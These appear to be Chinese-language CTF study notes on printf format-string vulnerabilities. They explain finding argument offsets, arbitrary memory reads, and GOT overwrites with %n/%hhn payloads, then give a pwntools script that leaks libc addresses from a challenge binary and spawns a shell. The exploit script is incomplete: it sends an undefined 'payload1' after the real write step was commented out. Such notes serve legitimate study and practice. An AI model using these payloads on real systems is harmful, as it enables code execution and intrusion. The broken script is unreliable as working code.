# 参考博客
[参考博客]: https://blog.csdn.net/ysy___ysy/article/details/135700140
[参考博客]: https://blog.csdn.net/2402_83422357/article/details/139180404
戳此切大佬博客
https://blog.csdn.net/Morphy_Amo/article/details/122215773
https://blog.csdn.net/song_lee/article/details/103936833
!!!!https://www.yuque.com/hxfqg9/bin/aedgn4#WbamY
https://bbs.kanxue.com/thread-268850.htm
https://blog.csdn.net/mcmuyanga/article/details/113242453
https://www.cnblogs.com/hetianlab/p/15002398.html
https://www.cnblogs.com/VxerLee/p/16398761.html# 任意地址内存覆盖任意写
# 格式化字符串
# 漏洞
当 printf () 的参数含有格式化字符串时就有可能泄露内存相关的东西,比如 printf (buf)
利用它可以进行任意读或任意写
# 任意读
首先我们要确定我们输入的内容对应 printf 的第几个
方法
输入 aaaa% p% p% p% p% p% p% p% p% p% p 看程序对应输出的是第几个
64 位程序是存在寄存器上 rdi,rsi,rdx,rcx,r8,r9, 然后是栈上,具体第几个用 gdb 调
如输出第五个参数可以写为%4$s,第六个为%5$s,需要输出第n个参数就是%(n-1)$(格式化控制符)。
因此我们的payload可以简化为"\x01\x80\x04\x08%5$s"
# 任意改
如果想要改整个地址
%n 一次性写入4个字节 | |
%hn 一次性写入2个字节 | |
%hhn 一次性写入1个字节 | |
#思路:向 printf_got 中 写入 system_plt | |
# 我们把 printf_got 最低位字节 覆盖成 0x60 一字节 写入 %hhn | |
# 我们把 printf_got 最低位字节+1字节 覆盖成 0x83 一字节 写入 %hhn | |
# 我们把 printf_got 最低位字节+2字节 覆盖成 0x04 一字节 写入 %hhn | |
# 我们把 printf_got 最低位字节+3字节 覆盖成 0x08 一字节 写入 %hhn | |
payload=p32(printf_got) #0x60 # 偏移 为 7 | |
payload+=p32(printf_got+1) #0x83 # 偏移 为 8 | |
payload+=p32(printf_got+2) #0x04 # 偏移 为 9 | |
payload+=p32(printf_got+3) #0x08 # 偏移 为 10 | |
payload+="%"+str(0x60-0x4*4)+"c%7$hhn" #0x60 # 偏移 为 7 | |
payload+="%"+str(0x83-0x60)+"c%8$hhn" #0x83 # 偏移 为 8 | |
payload+="%"+str(0x104-0x83)+"c%9$hhn" #0x04 # 偏移 为 9 #由于是hhn所以会被截断,只留后两位 | |
payload+="%"+str(0x8-0x4)+"c%10$hhn" #0x08 # 偏移 为 10 |
有一个还挺方便的函数 payload = fmtstr_payload (偏移,{原地址:目的地址}) 但是好像只能是 32 位
# wp
from pwn import * | |
from LibcSearcher import * | |
context(log_level = 'debug', os = 'linux', arch = 'amd64') | |
p = process('./ez_fmt') | |
#p = remote('127.0.0.1',46587) | |
elf = ELF("./ez_fmt") | |
printf_plt = elf.plt['printf'] | |
printf_got = elf.got['printf'] | |
pop_rdi_ret=0x4012d3 | |
payload = b"aaaa" +b"%7$s" + p64(printf_got) | |
''' | |
gdb.attach(p) | |
pause() | |
''' | |
p.sendline(payload) | |
p.recvuntil('aaaa') | |
printf_addr = u64(p.recv(6).ljust(8, b'\x00')) | |
print("printf_real_addr ---> ", hex(printf_addr)) | |
libc=ELF('./libc.so.6') | |
libc_base=printf_addr-libc.sym['printf'] #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量 | |
bin_sh_addr=libc_base+libc.search(b"/bin/sh\x00").__next__()#'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量 | |
sys_addr=libc_base+libc.sym['system'] | |
print("sys_addr:{}".format(hex(sys_addr))) | |
print("binsh_addr:{}".format(hex(bin_sh_addr))) | |
#payload2= b'%' + str(system_real_addr) + b'c' + b'%7$n' + p64(printf_got) | |
''' | |
gdb.attach(p) | |
pause() | |
''' | |
p.sendline(payload1) | |
p.sendline(b'/bin/sh\0') | |
p.interactive() |